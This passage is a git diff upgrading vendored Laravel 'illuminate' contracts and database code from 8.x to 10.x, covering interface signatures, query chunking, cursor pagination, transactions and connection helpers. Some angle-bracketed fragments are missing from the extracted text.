"^8.1", + "illuminate/contracts": "^10.0", + "psr/container": "^1.1.1|^2.0.1" }, "provide": { - "psr/container-implementation": "1.0" + "psr/container-implementation": "1.1|2.0" }, "autoload": { "psr-4": { @@ -28,7 +28,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/contracts/Auth/Access/Gate.php b/vendor/illuminate/contracts/Auth/Access/Gate.php index b88ab1796..eb605d827 100644 --- a/vendor/illuminate/contracts/Auth/Access/Gate.php +++ b/vendor/illuminate/contracts/Auth/Access/Gate.php @@ -57,18 +57,18 @@ public function before(callable $callback); public function after(callable $callback); /** - * Determine if the given ability should be granted for the current user. + * Determine if all of the given abilities should be granted for the current user. * - * @param string $ability + * @param iterable|string $ability * @param array|mixed $arguments * @return bool */ public function allows($ability, $arguments = []); /** - * Determine if the given ability should be denied for the current user. + * Determine if any of the given abilities should be denied for the current user. * - * @param string $ability + * @param iterable|string $ability * @param array|mixed $arguments * @return bool */ diff --git a/vendor/illuminate/contracts/Auth/Guard.php b/vendor/illuminate/contracts/Auth/Guard.php index 2a27fb5f5..2796f1ae6 100644 --- a/vendor/illuminate/contracts/Auth/Guard.php +++ b/vendor/illuminate/contracts/Auth/Guard.php @@ -40,6 +40,13 @@ public function id(); */ public function validate(array $credentials = []); + /** + * Determine if the guard has a user instance. + * + * @return bool + */ + public function hasUser(); + /** * Set the current user. * diff --git a/vendor/illuminate/contracts/Auth/PasswordBrokerFactory.php b/vendor/illuminate/contracts/Auth/PasswordBrokerFactory.php index 47b1c0896..683a90308 100644 --- a/vendor/illuminate/contracts/Auth/PasswordBrokerFactory.php +++ b/vendor/illuminate/contracts/Auth/PasswordBrokerFactory.php @@ -8,7 +8,7 @@ interface PasswordBrokerFactory * Get a password broker instance by name. * * @param string|null $name - * @return mixed + * @return \Illuminate\Contracts\Auth\PasswordBroker */ public function broker($name = null); } diff --git a/vendor/illuminate/contracts/Broadcasting/Broadcaster.php b/vendor/illuminate/contracts/Broadcasting/Broadcaster.php index 1034e4406..2d317d0a6 100644 --- a/vendor/illuminate/contracts/Broadcasting/Broadcaster.php +++ b/vendor/illuminate/contracts/Broadcasting/Broadcaster.php @@ -28,6 +28,8 @@ public function validAuthenticationResponse($request, $result); * @param string $event * @param array $payload * @return void + * + * @throws \Illuminate\Broadcasting\BroadcastException */ public function broadcast(array $channels, $event, array $payload = []); } diff --git a/vendor/illuminate/contracts/Broadcasting/ShouldBeUnique.php b/vendor/illuminate/contracts/Broadcasting/ShouldBeUnique.php new file mode 100644 index 000000000..c72b7a800 --- /dev/null +++ b/vendor/illuminate/contracts/Broadcasting/ShouldBeUnique.php @@ -0,0 +1,8 @@ +|CastsAttributes|CastsInboundAttributes */ public static function castUsing(array $arguments); } diff --git a/vendor/illuminate/contracts/Database/Eloquent/CastsAttributes.php b/vendor/illuminate/contracts/Database/Eloquent/CastsAttributes.php index 808d005f5..89cec66a7 100644 --- a/vendor/illuminate/contracts/Database/Eloquent/CastsAttributes.php +++ b/vendor/illuminate/contracts/Database/Eloquent/CastsAttributes.php @@ -2,6 +2,12 @@ namespace Illuminate\Contracts\Database\Eloquent; +use Illuminate\Database\Eloquent\Model; + +/** + * @template TGet + * @template TSet + */ interface CastsAttributes { /** @@ -10,19 +16,19 @@ interface CastsAttributes * @param \Illuminate\Database\Eloquent\Model $model * @param string $key * @param mixed $value - * @param array $attributes - * @return mixed + * @param array $attributes + * @return TGet|null */ - public function get($model, string $key, $value, array $attributes); + public function get(Model $model, string $key, mixed $value, array $attributes); /** * Transform the attribute to its underlying model values. * * @param \Illuminate\Database\Eloquent\Model $model * @param string $key - * @param mixed $value - * @param array $attributes + * @param TSet|null $value + * @param array $attributes * @return mixed */ - public function set($model, string $key, $value, array $attributes); + public function set(Model $model, string $key, mixed $value, array $attributes); } diff --git a/vendor/illuminate/contracts/Database/Eloquent/CastsInboundAttributes.php b/vendor/illuminate/contracts/Database/Eloquent/CastsInboundAttributes.php index 4c7801b58..6a3e2ef18 100644 --- a/vendor/illuminate/contracts/Database/Eloquent/CastsInboundAttributes.php +++ b/vendor/illuminate/contracts/Database/Eloquent/CastsInboundAttributes.php @@ -2,6 +2,8 @@ namespace Illuminate\Contracts\Database\Eloquent; +use Illuminate\Database\Eloquent\Model; + interface CastsInboundAttributes { /** @@ -13,5 +15,5 @@ interface CastsInboundAttributes * @param array $attributes * @return mixed */ - public function set($model, string $key, $value, array $attributes); + public function set(Model $model, string $key, mixed $value, array $attributes); } diff --git a/vendor/illuminate/contracts/Database/Eloquent/SerializesCastableAttributes.php b/vendor/illuminate/contracts/Database/Eloquent/SerializesCastableAttributes.php index a89f91010..a2ecf16f5 100644 --- a/vendor/illuminate/contracts/Database/Eloquent/SerializesCastableAttributes.php +++ b/vendor/illuminate/contracts/Database/Eloquent/SerializesCastableAttributes.php @@ -2,6 +2,8 @@ namespace Illuminate\Contracts\Database\Eloquent; +use Illuminate\Database\Eloquent\Model; + interface SerializesCastableAttributes { /** @@ -13,5 +15,5 @@ interface SerializesCastableAttributes * @param array $attributes * @return mixed */ - public function serialize($model, string $key, $value, array $attributes); + public function serialize(Model $model, string $key, mixed $value, array $attributes); } diff --git a/vendor/illuminate/contracts/Database/ModelIdentifier.php b/vendor/illuminate/contracts/Database/ModelIdentifier.php index 9893d280e..aacd18c07 100644 --- a/vendor/illuminate/contracts/Database/ModelIdentifier.php +++ b/vendor/illuminate/contracts/Database/ModelIdentifier.php @@ -34,6 +34,13 @@ class ModelIdentifier */ public $connection; + /** + * The class name of the model collection. + * + * @var string|null + */ + public $collectionClass; + /** * Create a new model identifier. * @@ -50,4 +57,17 @@ public function __construct($class, $id, array $relations, $connection) $this->relations = $relations; $this->connection = $connection; } + + /** + * Specify the collection class that should be used when serializing / restoring collections. + * + * @param string|null $collectionClass + * @return $this + */ + public function useCollectionClass(?string $collectionClass) + { + $this->collectionClass = $collectionClass; + + return $this; + } } diff --git a/vendor/illuminate/contracts/Database/Query/Builder.php b/vendor/illuminate/contracts/Database/Query/Builder.php new file mode 100644 index 000000000..e116ebf41 --- /dev/null +++ b/vendor/illuminate/contracts/Database/Query/Builder.php @@ -0,0 +1,12 @@ + */ public function getQueueableIds(); /** * Get the relationships of the entities being queued. * - * @return array + * @return array */ public function getQueueableRelations(); diff --git a/vendor/illuminate/contracts/Queue/ShouldQueueAfterCommit.php b/vendor/illuminate/contracts/Queue/ShouldQueueAfterCommit.php new file mode 100644 index 000000000..8545ad30d --- /dev/null +++ b/vendor/illuminate/contracts/Queue/ShouldQueueAfterCommit.php @@ -0,0 +1,8 @@ + */ public function toArray(); } diff --git a/vendor/illuminate/contracts/Support/MessageBag.php b/vendor/illuminate/contracts/Support/MessageBag.php index 7f708aca5..14855d06e 100644 --- a/vendor/illuminate/contracts/Support/MessageBag.php +++ b/vendor/illuminate/contracts/Support/MessageBag.php @@ -64,6 +64,14 @@ public function get($key, $format = null); */ public function all($format = null); + /** + * Remove a message from the bag. + * + * @param string $key + * @return $this + */ + public function forget($key); + /** * Get the raw messages in the container. * diff --git a/vendor/illuminate/contracts/Translation/Translator.php b/vendor/illuminate/contracts/Translation/Translator.php index 6eae4915d..ded1a8b86 100644 --- a/vendor/illuminate/contracts/Translation/Translator.php +++ b/vendor/illuminate/contracts/Translation/Translator.php @@ -18,7 +18,7 @@ public function get($key, array $replace = [], $locale = null); * Get a translation according to an integer value. * * @param string $key - * @param \Countable|int|array $number + * @param \Countable|int|float|array $number * @param array $replace * @param string|null $locale * @return string diff --git a/vendor/illuminate/contracts/Validation/DataAwareRule.php b/vendor/illuminate/contracts/Validation/DataAwareRule.php index 7ec7ab5a9..739626c2e 100644 --- a/vendor/illuminate/contracts/Validation/DataAwareRule.php +++ b/vendor/illuminate/contracts/Validation/DataAwareRule.php @@ -10,5 +10,5 @@ interface DataAwareRule * @param array $data * @return $this */ - public function setData($data); + public function setData(array $data); } diff --git a/vendor/illuminate/contracts/Validation/Factory.php b/vendor/illuminate/contracts/Validation/Factory.php index 104675a4d..70687e87f 100644 --- a/vendor/illuminate/contracts/Validation/Factory.php +++ b/vendor/illuminate/contracts/Validation/Factory.php @@ -10,10 +10,10 @@ interface Factory * @param array $data * @param array $rules * @param array $messages - * @param array $customAttributes + * @param array $attributes * @return \Illuminate\Contracts\Validation\Validator */ - public function make(array $data, array $rules, array $messages = [], array $customAttributes = []); + public function make(array $data, array $rules, array $messages = [], array $attributes = []); /** * Register a custom validator extension. diff --git a/vendor/illuminate/contracts/Validation/ImplicitRule.php b/vendor/illuminate/contracts/Validation/ImplicitRule.php index bbc64f44e..ac5df83f9 100644 --- a/vendor/illuminate/contracts/Validation/ImplicitRule.php +++ b/vendor/illuminate/contracts/Validation/ImplicitRule.php @@ -2,6 +2,9 @@ namespace Illuminate\Contracts\Validation; +/** + * @deprecated see ValidationRule + */ interface ImplicitRule extends Rule { // diff --git a/vendor/illuminate/contracts/Validation/InvokableRule.php b/vendor/illuminate/contracts/Validation/InvokableRule.php new file mode 100644 index 000000000..c7ac9c248 --- /dev/null +++ b/vendor/illuminate/contracts/Validation/InvokableRule.php @@ -0,0 +1,21 @@ +defaultKeyName(); + return $this->orderedChunkById($count, $callback, $column, $alias); + } + + /** + * Chunk the results of a query by comparing IDs in descending order. + * + * @param int $count + * @param callable $callback + * @param string|null $column + * @param string|null $alias + * @return bool + */ + public function chunkByIdDesc($count, callable $callback, $column = null, $alias = null) + { + return $this->orderedChunkById($count, $callback, $column, $alias, descending: true); + } + + /** + * Chunk the results of a query by comparing IDs in a given order. + * + * @param int $count + * @param callable $callback + * @param string|null $column + * @param string|null $alias + * @param bool $descending + * @return bool + */ + public function orderedChunkById($count, callable $callback, $column = null, $alias = null, $descending = false) + { + $column ??= $this->defaultKeyName(); - $alias = $alias ?? $column; + $alias ??= $column; $lastId = null; @@ -125,7 +156,11 @@ public function chunkById($count, callable $callback, $column = null, $alias = n // We'll execute the query for the given page and get the results. If there are // no results we can just break and return from here. When there are results // we will call the callback with the current chunk of these results here. - $results = $clone->forPageAfterId($count, $lastId, $column)->get(); + if ($descending) { + $results = $clone->forPageBeforeId($count, $lastId, $column)->get(); + } else { + $results = $clone->forPageAfterId($count, $lastId, $column)->get(); + } $countResults = $results->count(); @@ -140,7 +175,7 @@ public function chunkById($count, callable $callback, $column = null, $alias = n return false; } - $lastId = $results->last()->{$alias}; + $lastId = data_get($results->last(), $alias); if ($lastId === null) { throw new RuntimeException("The chunkById operation was aborted because the [{$alias}] column is not present in the query result."); @@ -254,9 +289,9 @@ protected function orderedLazyById($chunkSize = 1000, $column = null, $alias = n throw new InvalidArgumentException('The chunk size should be at least 1'); } - $column = $column ?? $this->defaultKeyName(); + $column ??= $this->defaultKeyName(); - $alias = $alias ?? $column; + $alias ??= $column; return LazyCollection::make(function () use ($chunkSize, $column, $alias, $descending) { $lastId = null; @@ -279,6 +314,10 @@ protected function orderedLazyById($chunkSize = 1000, $column = null, $alias = n } $lastId = $results->last()->{$alias}; + + if ($lastId === null) { + throw new RuntimeException("The lazyById operation was aborted because the [{$alias}] column is not present in the query result."); + } } }); } @@ -307,12 +346,14 @@ public function sole($columns = ['*']) { $result = $this->take(2)->get($columns); - if ($result->isEmpty()) { + $count = $result->count(); + + if ($count === 0) { throw new RecordsNotFoundException; } - if ($result->count() > 1) { - throw new MultipleRecordsFoundException; + if ($count > 1) { + throw new MultipleRecordsFoundException($count); } return $result->first(); @@ -322,7 +363,7 @@ public function sole($columns = ['*']) * Paginate the given query using a cursor paginator. * * @param int $perPage - * @param array $columns + * @param array|string $columns * @param string $cursorName * @param \Illuminate\Pagination\Cursor|string|null $cursor * @return \Illuminate\Contracts\Pagination\CursorPaginator @@ -338,19 +379,24 @@ protected function paginateUsingCursor($perPage, $columns = ['*'], $cursorName = $orders = $this->ensureOrderForCursorPagination(! is_null($cursor) && $cursor->pointsToPreviousItems()); if (! is_null($cursor)) { - $addCursorConditions = function (self $builder, $previousColumn, $i) use (&$addCursorConditions, $cursor, $orders) { - $unionBuilders = isset($builder->unions) ? collect($builder->unions)->pluck('query') : collect(); + // Reset the union bindings so we can add the cursor where in the correct position... + $this->setBindings([], 'union'); + + $addCursorConditions = function (self $builder, $previousColumn, $originalColumn, $i) use (&$addCursorConditions, $cursor, $orders) { + $unionBuilders = $builder->getUnionBuilders(); if (! is_null($previousColumn)) { + $originalColumn ??= $this->getOriginalColumnNameForCursorPagination($this, $previousColumn); + $builder->where( - $this->getOriginalColumnNameForCursorPagination($this, $previousColumn), + Str::contains($originalColumn, ['(', ')']) ? new Expression($originalColumn) : $originalColumn, '=', $cursor->parameter($previousColumn) ); $unionBuilders->each(function ($unionBuilder) use ($previousColumn, $cursor) { $unionBuilder->where( - $this->getOriginalColumnNameForCursorPagination($this, $previousColumn), + $this->getOriginalColumnNameForCursorPagination($unionBuilder, $previousColumn), '=', $cursor->parameter($previousColumn) ); @@ -359,42 +405,48 @@ protected function paginateUsingCursor($perPage, $columns = ['*'], $cursorName = }); } - $builder->where(function (self $builder) use ($addCursorConditions, $cursor, $orders, $i, $unionBuilders) { + $builder->where(function (self $secondBuilder) use ($addCursorConditions, $cursor, $orders, $i, $unionBuilders) { ['column' => $column, 'direction' => $direction] = $orders[$i]; - $builder->where( - $this->getOriginalColumnNameForCursorPagination($this, $column), + $originalColumn = $this->getOriginalColumnNameForCursorPagination($this, $column); + + $secondBuilder->where( + Str::contains($originalColumn, ['(', ')']) ? new Expression($originalColumn) : $originalColumn, $direction === 'asc' ? '>' : '<', $cursor->parameter($column) ); if ($i < $orders->count() - 1) { - $builder->orWhere(function (self $builder) use ($addCursorConditions, $column, $i) { - $addCursorConditions($builder, $column, $i + 1); + $secondBuilder->orWhere(function (self $thirdBuilder) use ($addCursorConditions, $column, $originalColumn, $i) { + $addCursorConditions($thirdBuilder, $column, $originalColumn, $i + 1); }); } $unionBuilders->each(function ($unionBuilder) use ($column, $direction, $cursor, $i, $orders, $addCursorConditions) { - $unionBuilder->where(function ($unionBuilder) use ($column, $direction, $cursor, $i, $orders, $addCursorConditions) { + $unionWheres = $unionBuilder->getRawBindings()['where']; + + $originalColumn = $this->getOriginalColumnNameForCursorPagination($unionBuilder, $column); + $unionBuilder->where(function ($unionBuilder) use ($column, $direction, $cursor, $i, $orders, $addCursorConditions, $originalColumn, $unionWheres) { $unionBuilder->where( - $this->getOriginalColumnNameForCursorPagination($this, $column), + $originalColumn, $direction === 'asc' ? '>' : '<', $cursor->parameter($column) ); if ($i < $orders->count() - 1) { - $unionBuilder->orWhere(function (self $builder) use ($addCursorConditions, $column, $i) { - $addCursorConditions($builder, $column, $i + 1); + $unionBuilder->orWhere(function (self $fourthBuilder) use ($addCursorConditions, $column, $originalColumn, $i) { + $addCursorConditions($fourthBuilder, $column, $originalColumn, $i + 1); }); } + $this->addBinding($unionWheres, 'union'); $this->addBinding($unionBuilder->getRawBindings()['where'], 'union'); }); }); }); }; - $addCursorConditions($this, null, 0); + $addCursorConditions($this, null, null, 0); } $this->limit($perPage + 1); @@ -415,16 +467,16 @@ protected function paginateUsingCursor($perPage, $columns = ['*'], $cursorName = */ protected function getOriginalColumnNameForCursorPagination($builder, string $parameter) { - $columns = $builder instanceof Builder ? $builder->getQuery()->columns : $builder->columns; + $columns = $builder instanceof Builder ? $builder->getQuery()->getColumns() : $builder->getColumns(); if (! is_null($columns)) { foreach ($columns as $column) { - if (($position = stripos($column, ' as ')) !== false) { - $as = substr($column, $position, 4); + if (($position = strripos($column, ' as ')) !== false) { + $original = substr($column, 0, $position); - [$original, $alias] = explode($as, $column); + $alias = substr($column, $position + 4); - if ($parameter === $alias) { + if ($parameter === $alias || $builder->getGrammar()->wrap($parameter) === $alias) { return $original; } } @@ -487,10 +539,12 @@ protected function cursorPaginator($items, $perPage, $cursor, $options) * Pass the query to a given callback. * * @param callable $callback - * @return $this|mixed + * @return $this */ public function tap($callback) { - return $this->when(true, $callback); + $callback($this); + + return $this; } } diff --git a/vendor/illuminate/database/Concerns/CompilesJsonPaths.php b/vendor/illuminate/database/Concerns/CompilesJsonPaths.php new file mode 100644 index 000000000..ade546153 --- /dev/null +++ b/vendor/illuminate/database/Concerns/CompilesJsonPaths.php @@ -0,0 +1,64 @@ +', $column, 2); + + $field = $this->wrap($parts[0]); + + $path = count($parts) > 1 ? ', '.$this->wrapJsonPath($parts[1], '->') : ''; + + return [$field, $path]; + } + + /** + * Wrap the given JSON path. + * + * @param string $value + * @param string $delimiter + * @return string + */ + protected function wrapJsonPath($value, $delimiter = '->') + { + $value = preg_replace("/([\\\\]+)?\\'/", "''", $value); + + $jsonPath = collect(explode($delimiter, $value)) + ->map(fn ($segment) => $this->wrapJsonPathSegment($segment)) + ->join('.'); + + return "'$".(str_starts_with($jsonPath, '[') ? '' : '.').$jsonPath."'"; + } + + /** + * Wrap the given JSON path segment. + * + * @param string $segment + * @return string + */ + protected function wrapJsonPathSegment($segment) + { + if (preg_match('/(\[[^\]]+\])+$/', $segment, $parts)) { + $key = Str::beforeLast($segment, $parts[0]); + + if (! empty($key)) { + return '"'.$key.'"'.$parts[0]; + } + + return $parts[0]; + } + + return '"'.$segment.'"'; + } +} diff --git a/vendor/illuminate/database/Concerns/ManagesTransactions.php b/vendor/illuminate/database/Concerns/ManagesTransactions.php index fac70295d..ce0342ec5 100644 --- a/vendor/illuminate/database/Concerns/ManagesTransactions.php +++ b/vendor/illuminate/database/Concerns/ManagesTransactions.php @@ -3,6 +3,7 @@ namespace Illuminate\Database\Concerns; use Closure; +use Illuminate\Database\DeadlockException; use RuntimeException; use Throwable; @@ -31,7 +32,7 @@ public function transaction(Closure $callback, $attempts = 1) // If we catch an exception we'll rollback this transaction and try again if we // are not out of attempts. If we are out of attempts we will just throw the - // exception back out and let the developer handle an uncaught exceptions. + // exception back out, and let the developer handle an uncaught exception. catch (Throwable $e) { $this->handleTransactionException( $e, $currentAttempt, $attempts @@ -40,16 +41,15 @@ public function transaction(Closure $callback, $attempts = 1) continue; } + $levelBeingCommitted = $this->transactions; + try { if ($this->transactions == 1) { + $this->fireConnectionEvent('committing'); $this->getPdo()->commit(); } $this->transactions = max(0, $this->transactions - 1); - - if ($this->transactions == 0) { - optional($this->transactionsManager)->commit($this->getName()); - } } catch (Throwable $e) { $this->handleCommitTransactionException( $e, $currentAttempt, $attempts @@ -58,6 +58,12 @@ public function transaction(Closure $callback, $attempts = 1) continue; } + $this->transactionsManager?->commit( + $this->getName(), + $levelBeingCommitted, + $this->transactions + ); + $this->fireConnectionEvent('committed'); return $callbackResult; @@ -83,11 +89,11 @@ protected function handleTransactionException(Throwable $e, $currentAttempt, $ma $this->transactions > 1) { $this->transactions--; - optional($this->transactionsManager)->rollback( + $this->transactionsManager?->rollback( $this->getName(), $this->transactions ); - throw $e; + throw new DeadlockException($e->getMessage(), is_int($e->getCode()) ? $e->getCode() : 0, $e); } // If there was an exception we will rollback this transaction and then we @@ -112,11 +118,15 @@ protected function handleTransactionException(Throwable $e, $currentAttempt, $ma */ public function beginTransaction() { + foreach ($this->beforeStartingTransaction as $callback) { + $callback($this); + } + $this->createTransaction(); $this->transactions++; - optional($this->transactionsManager)->begin( + $this->transactionsManager?->begin( $this->getName(), $this->transactions ); @@ -187,15 +197,19 @@ protected function handleBeginTransactionException(Throwable $e) */ public function commit() { - if ($this->transactions == 1) { + if ($this->transactionLevel() == 1) { + $this->fireConnectionEvent('committing'); $this->getPdo()->commit(); } - $this->transactions = max(0, $this->transactions - 1); + [$levelBeingCommitted, $this->transactions] = [ + $this->transactions, + max(0, $this->transactions - 1), + ]; - if ($this->transactions == 0) { - optional($this->transactionsManager)->commit($this->getName()); - } + $this->transactionsManager?->commit( + $this->getName(), $levelBeingCommitted, $this->transactions + ); $this->fireConnectionEvent('committed'); } @@ -214,8 +228,7 @@ protected function handleCommitTransactionException(Throwable $e, $currentAttemp { $this->transactions = max(0, $this->transactions - 1); - if ($this->causedByConcurrencyError($e) && - $currentAttempt < $maxAttempts) { + if ($this->causedByConcurrencyError($e) && $currentAttempt < $maxAttempts) { return; } @@ -258,7 +271,7 @@ public function rollBack($toLevel = null) $this->transactions = $toLevel; - optional($this->transactionsManager)->rollback( + $this->transactionsManager?->rollback( $this->getName(), $this->transactions ); @@ -276,7 +289,11 @@ public function rollBack($toLevel = null) protected function performRollBack($toLevel) { if ($toLevel == 0) { - $this->getPdo()->rollBack(); + $pdo = $this->getPdo(); + + if ($pdo->inTransaction()) { + $pdo->rollBack(); + } } elseif ($this->queryGrammar->supportsSavepoints()) { $this->getPdo()->exec( $this->queryGrammar->compileSavepointRollBack('trans'.($toLevel + 1)) @@ -297,7 +314,7 @@ protected function handleRollBackException(Throwable $e) if ($this->causedByLostConnection($e)) { $this->transactions = 0; - optional($this->transactionsManager)->rollback( + $this->transactionsManager?->rollback( $this->getName(), $this->transactions ); } diff --git a/vendor/illuminate/database/Concerns/ParsesSearchPath.php b/vendor/illuminate/database/Concerns/ParsesSearchPath.php new file mode 100644 index 000000000..e822c722b --- /dev/null +++ b/vendor/illuminate/database/Concerns/ParsesSearchPath.php @@ -0,0 +1,25 @@ + */ protected $doctrineTypeMappings = []; /** * The connection resolvers. * - * @var array + * @var \Closure[] */ protected static $resolvers = []; @@ -238,7 +264,9 @@ public function useDefaultQueryGrammar() */ protected function getDefaultQueryGrammar() { - return new QueryGrammar; + ($grammar = new QueryGrammar)->setConnection($this); + + return $grammar; } /** @@ -254,7 +282,7 @@ public function useDefaultSchemaGrammar() /** * Get the default schema grammar instance. * - * @return \Illuminate\Database\Schema\Grammars\Grammar + * @return \Illuminate\Database\Schema\Grammars\Grammar|null */ protected function getDefaultSchemaGrammar() { @@ -298,7 +326,7 @@ public function getSchemaBuilder() /** * Begin a fluent query against a database table. * - * @param \Closure|\Illuminate\Database\Query\Builder|string $table + * @param \Closure|\Illuminate\Database\Query\Builder|\Illuminate\Contracts\Database\Query\Expression|string $table * @param string|null $as * @return \Illuminate\Database\Query\Builder */ @@ -334,6 +362,33 @@ public function selectOne($query, $bindings = [], $useReadPdo = true) return array_shift($records); } + /** + * Run a select statement and return the first column of the first row. + * + * @param string $query + * @param array $bindings + * @param bool $useReadPdo + * @return mixed + * + * @throws \Illuminate\Database\MultipleColumnsSelectedException + */ + public function scalar($query, $bindings = [], $useReadPdo = true) + { + $record = $this->selectOne($query, $bindings, $useReadPdo); + + if (is_null($record)) { + return null; + } + + $record = (array) $record; + + if (count($record) > 1) { + throw new MultipleColumnsSelectedException; + } + + return reset($record); + } + /** * Run a select statement against the database. * @@ -376,6 +431,39 @@ public function select($query, $bindings = [], $useReadPdo = true) }); } + /** + * Run a select statement against the database and returns all of the result sets. + * + * @param string $query + * @param array $bindings + * @param bool $useReadPdo + * @return array + */ + public function selectResultSets($query, $bindings = [], $useReadPdo = true) + { + return $this->run($query, $bindings, function ($query, $bindings) use ($useReadPdo) { + if ($this->pretending()) { + return []; + } + + $statement = $this->prepared( + $this->getPdoForSelect($useReadPdo)->prepare($query) + ); + + $this->bindValues($statement, $this->prepareBindings($bindings)); + + $statement->execute(); + + $sets = []; + + do { + $sets[] = $statement->fetchAll(); + } while ($statement->nextRowset()); + + return $sets; + }); + } + /** * Run a select statement against the database and returns a generator. * @@ -424,9 +512,7 @@ protected function prepared(PDOStatement $statement) { $statement->setFetchMode($this->fetchMode); - $this->event(new StatementPrepared( - $this, $statement - )); + $this->event(new StatementPrepared($this, $statement)); return $statement; } @@ -576,6 +662,27 @@ public function pretend(Closure $callback) }); } + /** + * Execute the given callback without "pretending". + * + * @param \Closure $callback + * @return mixed + */ + public function withoutPretending(Closure $callback) + { + if (! $this->pretending) { + return $callback(); + } + + $this->pretending = false; + + $result = $callback(); + + $this->pretending = true; + + return $result; + } + /** * Execute the given callback in "dry run" mode. * @@ -616,7 +723,11 @@ public function bindValues($statement, $bindings) $statement->bindValue( is_string($key) ? $key : $key + 1, $value, - is_int($value) ? PDO::PARAM_INT : PDO::PARAM_STR + match (true) { + is_int($value) => PDO::PARAM_INT, + is_resource($value) => PDO::PARAM_LOB, + default => PDO::PARAM_STR + }, ); } } @@ -709,12 +820,29 @@ protected function runQueryCallback($query, $bindings, Closure $callback) // message to include the bindings with SQL, which will make this exception a // lot more helpful to the developer instead of just the database's errors. catch (Exception $e) { + if ($this->isUniqueConstraintError($e)) { + throw new UniqueConstraintViolationException( + $this->getName(), $query, $this->prepareBindings($bindings), $e + ); + } + throw new QueryException( - $query, $this->prepareBindings($bindings), $e + $this->getName(), $query, $this->prepareBindings($bindings), $e ); } } + /** + * Determine if the given database exception was caused by a unique constraint violation. + * + * @param \Exception $exception + * @return bool + */ + protected function isUniqueConstraintError(Exception $exception) + { + return false; + } + /** * Log a query in the connection's query log. * @@ -725,8 +853,14 @@ protected function runQueryCallback($query, $bindings, Closure $callback) */ public function logQuery($query, $bindings, $time = null) { + $this->totalQueryDuration += $time ?? 0.0; + $this->event(new QueryExecuted($query, $bindings, $time, $this)); + $query = $this->pretending === true + ? $this->queryGrammar?->substituteBindingsIntoRawSql($query, $bindings) ?? $query + : $query; + if ($this->loggingQueries) { $this->queryLog[] = compact('query', 'bindings', 'time'); } @@ -743,6 +877,71 @@ protected function getElapsedTime($start) return round((microtime(true) - $start) * 1000, 2); } + /** + * Register a callback to be invoked when the connection queries for longer than a given amount of time. + * + * @param \DateTimeInterface|\Carbon\CarbonInterval|float|int $threshold + * @param callable $handler + * @return void + */ + public function whenQueryingForLongerThan($threshold, $handler) + { + $threshold = $threshold instanceof DateTimeInterface + ? $this->secondsUntil($threshold) * 1000 + : $threshold; + + $threshold = $threshold instanceof CarbonInterval + ? $threshold->totalMilliseconds + : $threshold; + + $this->queryDurationHandlers[] = [ + 'has_run' => false, + 'handler' => $handler, + ]; + + $key = count($this->queryDurationHandlers) - 1; + + $this->listen(function ($event) use ($threshold, $handler, $key) { + if (! $this->queryDurationHandlers[$key]['has_run'] && $this->totalQueryDuration() > $threshold) { + $handler($this, $event); + + $this->queryDurationHandlers[$key]['has_run'] = true; + } + }); + } + + /** + * Allow all the query duration handlers to run again, even if they have already run. + * + * @return void + */ + public function allowQueryDurationHandlersToRunAgain() + { + foreach ($this->queryDurationHandlers as $key => $queryDurationHandler) { + $this->queryDurationHandlers[$key]['has_run'] = false; + } + } + + /** + * Get the duration of all run queries in milliseconds. + * + * @return float + */ + public function totalQueryDuration() + { + return $this->totalQueryDuration; + } + + /** + * Reset the duration of all run queries. + * + * @return void + */ + public function resetTotalQueryDuration() + { + $this->totalQueryDuration = 0.0; + } + /** * Handle a query exception. * @@ -790,9 +989,9 @@ protected function tryAgainIfCausedByLostConnection(QueryException $e, $query, $ /** * Reconnect to the database. * - * @return void + * @return mixed|false * - * @throws \LogicException + * @throws \Illuminate\Database\LostConnectionException */ public function reconnect() { @@ -802,7 +1001,7 @@ public function reconnect() return call_user_func($this->reconnector, $this); } - throw new LogicException('Lost connection and no reconnector available.'); + throw new LostConnectionException('Lost connection and no reconnector available.'); } /** @@ -810,7 +1009,7 @@ public function reconnect() * * @return void */ - protected function reconnectIfMissingConnection() + public function reconnectIfMissingConnection() { if (is_null($this->pdo)) { $this->reconnect(); @@ -829,6 +1028,19 @@ public function disconnect() $this->doctrineConnection = null; } + /** + * Register a hook to be run just before a database transaction is started. + * + * @param \Closure $callback + * @return $this + */ + public function beforeStartingTransaction(Closure $callback) + { + $this->beforeStartingTransaction[] = $callback; + + return $this; + } + /** * Register a hook to be run just before a database query is executed. * @@ -850,9 +1062,7 @@ public function beforeExecuting(Closure $callback) */ public function listen(Closure $callback) { - if (isset($this->events)) { - $this->events->listen(Events\QueryExecuted::class, $callback); - } + $this->events?->listen(Events\QueryExecuted::class, $callback); } /** @@ -863,18 +1073,13 @@ public function listen(Closure $callback) */ protected function fireConnectionEvent($event) { - if (! isset($this->events)) { - return; - } - - switch ($event) { - case 'beganTransaction': - return $this->events->dispatch(new TransactionBeginning($this)); - case 'committed': - return $this->events->dispatch(new TransactionCommitted($this)); - case 'rollingBack': - return $this->events->dispatch(new TransactionRolledBack($this)); - } + return $this->events?->dispatch(match ($event) { + 'beganTransaction' => new TransactionBeginning($this), + 'committed' => new TransactionCommitted($this), + 'committing' => new TransactionCommitting($this), + 'rollingBack' => new TransactionRolledBack($this), + default => null, + }); } /** @@ -885,22 +1090,85 @@ protected function fireConnectionEvent($event) */ protected function event($event) { - if (isset($this->events)) { - $this->events->dispatch($event); - } + $this->events?->dispatch($event); } /** * Get a new raw query expression. * * @param mixed $value - * @return \Illuminate\Database\Query\Expression + * @return \Illuminate\Contracts\Database\Query\Expression */ public function raw($value) { return new Expression($value); } + /** + * Escape a value for safe SQL embedding. + * + * @param string|float|int|bool|null $value + * @param bool $binary + * @return string + */ + public function escape($value, $binary = false) + { + if ($value === null) { + return 'null'; + } elseif ($binary) { + return $this->escapeBinary($value); + } elseif (is_int($value) || is_float($value)) { + return (string) $value; + } elseif (is_bool($value)) { + return $this->escapeBool($value); + } elseif (is_array($value)) { + throw new RuntimeException('The database connection does not support escaping arrays.'); + } else { + if (str_contains($value, "\00")) { + throw new RuntimeException('Strings with null bytes cannot be escaped. Use the binary escape option.'); + } + + if (preg_match('//u', $value) === false) { + throw new RuntimeException('Strings with invalid UTF-8 byte sequences cannot be escaped.'); + } + + return $this->escapeString($value); + } + } + + /** + * Escape a string value for safe SQL embedding. + * + * @param string $value + * @return string + */ + protected function escapeString($value) + { + return $this->getReadPdo()->quote($value); + } + + /** + * Escape a boolean value for safe SQL embedding. + * + * @param bool $value + * @return string + */ + protected function escapeBool($value) + { + return $value ? '1' : '0'; + } + + /** + * Escape a binary value for safe SQL embedding. + * + * @param 